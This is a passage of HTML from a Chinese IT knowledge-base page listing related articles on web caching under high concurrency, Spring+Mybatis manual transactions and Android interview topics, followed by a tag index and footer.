taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E9%AB%98%E5%B9%B6%E5%8F%91/1.htm">高并发</a><a class="tag" taget="_blank" href="/search/oscahe%E7%BC%93%E5%AD%98/1.htm">oscahe缓存</a> <div>此前一直不知道缓存的具体实现，只知道是把数据存储在内存中，以便下次直接从内存中读取。对于缓存的使用也没有概念，觉得缓存技术是一个比较”神秘陌生“的领域。但最近要用到缓存技术，发现还是很有必要一探究竟的。缓存技术使用背景：一般来说，对于web项目，如果我们要什么数据直接jdbc查库好了，但是在遇到高并发的情形下，不可能每一次都是去查数据库，因为这样在高并发的情形下显得不太合理——</div> </li> <li><a href="/article/3651.htm" title="Spring+Mybatis 手动控制事务" target="_blank">Spring+Mybatis 手动控制事务</a> toknowme <a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a> <div>@Override public boolean testDelete(String jobCode) throws Exception { boolean flag = false; &nbs</div> </li> <li><a href="/article/3778.htm" title="菜鸟级的android程序员面试时候需要掌握的知识点" target="_blank">菜鸟级的android程序员面试时候需要掌握的知识点</a> xp9802 <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>熟悉Android开发架构和API调用掌握APP适应不同型号手机屏幕开发技巧熟悉Android下的数据存储熟练Android Debug Bridge Tool 熟练Eclipse/ADT及相关工具熟悉Android框架原理及Activity生命周期熟练进行Android UI布局熟练使用SQLite数据库；熟悉Android下网络通信机制，S</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> 按字母分类： <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.  </div> </div> </footer>  <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>